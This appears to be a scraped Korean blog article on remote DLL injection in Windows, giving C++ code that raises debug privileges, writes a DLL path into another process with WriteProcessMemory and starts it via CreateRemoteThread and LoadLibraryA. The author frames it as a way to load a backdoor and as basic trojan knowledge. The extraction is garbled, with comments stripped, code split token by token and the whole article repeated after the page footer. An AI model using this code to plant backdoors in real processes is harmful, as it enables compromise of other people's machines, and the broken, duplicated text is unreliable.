DLL 원격 주입 인스턴스
14387 단어 dll
일반적인 상황에서 모든 프로세스는 자신의 개인 공간을 가지고 있다. 이론적으로 다른 프로세스는 이 개인 공간을 조작하는 것을 허락하지 않는다. 그러나 우리는 일부 방법을 이용하여 이 공간에 들어가 조작을 하고 자신의 코드를 실행 중인 프로세스에 기록할 수 있기 때문에 원격 주입이 생겼다.dll 뒷문 작성에 대해서는 많은 토론을 하지 않겠습니다. 이제 주입 기능을 실현하는 실행 가능한 파일의 작성을 살펴보겠습니다. 사용하는 함수는 다음과 같습니다.
OpenProcessToken();
LookupPrivilegeValue();
AdjustTokenPrivileges();
OpenProcess();
VirtualAllocEx();
WriteProcessMemory();
GetProcAddress();
CreateRemoteThread();
먼저 다음과 같은 함수의 작용을 간단히 소개한다. 우리가 조작해야 하는 것은 시스템의 다른 프로세스이기 때문이다. 만약에 충분한 시스템 권한이 없다면 우리는 다른 프로세스의 메모리 주소를 쓸 수도 없고 읽을 수도 없기 때문에 우리는 자신의 권한을 향상시켜 아래 3개의 함수를 사용해야 한다.
OpenProcessToken();
//
LookupPrivilegeValue();
//
ID,
AdjustTokenPrivileges();
//
?
숙주 프로세스에 들어가는 메모리 공간은 숙주 프로세스 공간에 들어갈 수 있는 권한을 가진 후에 우리는 그 메모리에 우리의 뒷문을 불러올 코드를 추가해야 한다. LoadLibraryA() 함수로 우리의 DLL을 불러올 수 있다. DLL 파일의 경로만 있으면 된다. 여기서 우리는 DLL 파일의 경로를 숙주의 메모리 공간에 기록해야 한다.DLL의 파일 경로가 호스트 프로세스 메모리 공간에 존재하지 않기 때문에 다음과 같은 함수가 사용됩니다.
OpenProcess();
//
, MSDN
VirtualAllocEx();
//
DLL
WriteProcessMemory();
//
DLL
숙주에서 새로운 루트를 시작하는 데는 LoadLibraryA () 함수로 불러오지만, LoadLibraryA () 함수를 사용하기 전에 입구 주소를 알아야 하기 때문에 GetProcAdress로 입구 주소를 얻고, 주소가 생기면 Create Remote Thread () 함수로 새로운 루트를 시작할 수 있습니다. 다음 주입 과정이 완성되었지만, 아직 완벽하지 않아서 똑똑한 당신에게 남겨집니다.
간단한 예:
#include
<
windows.h
>
#include
<
iostream.h
>
int
EnableDebugPriv(
const
char
*
name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
//
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
|
TOKEN_QUERY,
&
hToken);
//
ID
LookupPrivilegeValue(NULL, name,
&
luid) ;
tp.PrivilegeCount
=
1
;
tp.Privileges[
0
].Attributes
=
SE_PRIVILEGE_ENABLED;
tp.Privileges[
0
].Luid
=
luid;
//
AdjustTokenPrivileges(hToken,
0
,
&
tp,
sizeof
(TOKEN_PRIVILEGES), NULL, NULL);
return
0
;
}
//
*****************************************************************************************************************************
BOOL InjectDll(
const
char
*
DllFullPath,
const
DWORD dwRemoteProcessId)
{
HANDLE hRemoteProcess;
EnableDebugPriv(SE_DEBUG_NAME);
//
hRemoteProcess
=
OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );
char
*
pszLibFileRemote;
//
VirtualAllocEx DLL
pszLibFileRemote
=
(
char
*
) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)
+
1
, MEM_COMMIT, PAGE_READWRITE);
//
WriteProcessMemory DLL
WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (
void
*
) DllFullPath, lstrlen(DllFullPath)
+
1
, NULL);
//
##############################################################################
//
LoadLibraryA
PTHREAD_START_ROUTINE pfnStartAddr
=
(PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT(
"
Kernel32
"
)),
"
LoadLibraryA
"
);
//
( GetModuleHandle GetProcAddress )
//
LoadLibraryA,
HANDLE hRemoteThread;
if
( (hRemoteThread
=
CreateRemoteThread( hRemoteProcess, NULL,
0
, pfnStartAddr, pszLibFileRemote,
0
, NULL) )
==
NULL)
{
cout
<<
"
!
"
<<
endl;
return
FALSE;
}
//
##############################################################################
/*
// //###.....//### :
DWORD dwID;
LPVOID pFunc = LoadLibraryA;
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );
//
*/
//
CloseHandle(hRemoteProcess);
CloseHandle(hRemoteThread);
return
TRUE;
}
//
*****************************************************************************************************************************
int
main()
{
InjectDll(
"
c:\\zrqfzr.dll
"
,
3060
) ;
//
ID
return
0
;
}
EnableDebugPriv 함수는 NT 시리즈 운영 체제에서 구현된 부분을 제거할 수 있습니다.목마라는 기술을 연구하려면 기본이야.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
LoadLibrary에서 126 오류가 발생하면 원인이되는 파일 이름을 찾는 방법
Loadlibrary에서 DLL을 동적으로 로드할 때 로드 실패입니다.
실패한 파일 이름은 알려주지 않습니다.
로드하고자 하는 DLL 자체를 로드할 수 없다면 이야기는 간단하지만, 대상 DLL이 다른 DLL을 로드하...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.
OpenProcessToken();
LookupPrivilegeValue();
AdjustTokenPrivileges();
OpenProcess();
VirtualAllocEx();
WriteProcessMemory();
GetProcAddress();
CreateRemoteThread();
OpenProcessToken();
//
LookupPrivilegeValue();
//
ID,
AdjustTokenPrivileges();
//
?
OpenProcess();
//
, MSDN
VirtualAllocEx();
//
DLL
WriteProcessMemory();
//
DLL
#include
<
windows.h
>
#include
<
iostream.h
>
int
EnableDebugPriv(
const
char
*
name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
//
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
|
TOKEN_QUERY,
&
hToken);
//
ID
LookupPrivilegeValue(NULL, name,
&
luid) ;
tp.PrivilegeCount
=
1
;
tp.Privileges[
0
].Attributes
=
SE_PRIVILEGE_ENABLED;
tp.Privileges[
0
].Luid
=
luid;
//
AdjustTokenPrivileges(hToken,
0
,
&
tp,
sizeof
(TOKEN_PRIVILEGES), NULL, NULL);
return
0
;
}
//
*****************************************************************************************************************************
BOOL InjectDll(
const
char
*
DllFullPath,
const
DWORD dwRemoteProcessId)
{
HANDLE hRemoteProcess;
EnableDebugPriv(SE_DEBUG_NAME);
//
hRemoteProcess
=
OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );
char
*
pszLibFileRemote;
//
VirtualAllocEx DLL
pszLibFileRemote
=
(
char
*
) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)
+
1
, MEM_COMMIT, PAGE_READWRITE);
//
WriteProcessMemory DLL
WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (
void
*
) DllFullPath, lstrlen(DllFullPath)
+
1
, NULL);
//
##############################################################################
//
LoadLibraryA
PTHREAD_START_ROUTINE pfnStartAddr
=
(PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT(
"
Kernel32
"
)),
"
LoadLibraryA
"
);
//
( GetModuleHandle GetProcAddress )
//
LoadLibraryA,
HANDLE hRemoteThread;
if
( (hRemoteThread
=
CreateRemoteThread( hRemoteProcess, NULL,
0
, pfnStartAddr, pszLibFileRemote,
0
, NULL) )
==
NULL)
{
cout
<<
"
!
"
<<
endl;
return
FALSE;
}
//
##############################################################################
/*
// //###.....//### :
DWORD dwID;
LPVOID pFunc = LoadLibraryA;
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );
//
*/
//
CloseHandle(hRemoteProcess);
CloseHandle(hRemoteThread);
return
TRUE;
}
//
*****************************************************************************************************************************
int
main()
{
InjectDll(
"
c:\\zrqfzr.dll
"
,
3060
) ;
//
ID
return
0
;
}
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
LoadLibrary에서 126 오류가 발생하면 원인이되는 파일 이름을 찾는 방법Loadlibrary에서 DLL을 동적으로 로드할 때 로드 실패입니다. 실패한 파일 이름은 알려주지 않습니다. 로드하고자 하는 DLL 자체를 로드할 수 없다면 이야기는 간단하지만, 대상 DLL이 다른 DLL을 로드하...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.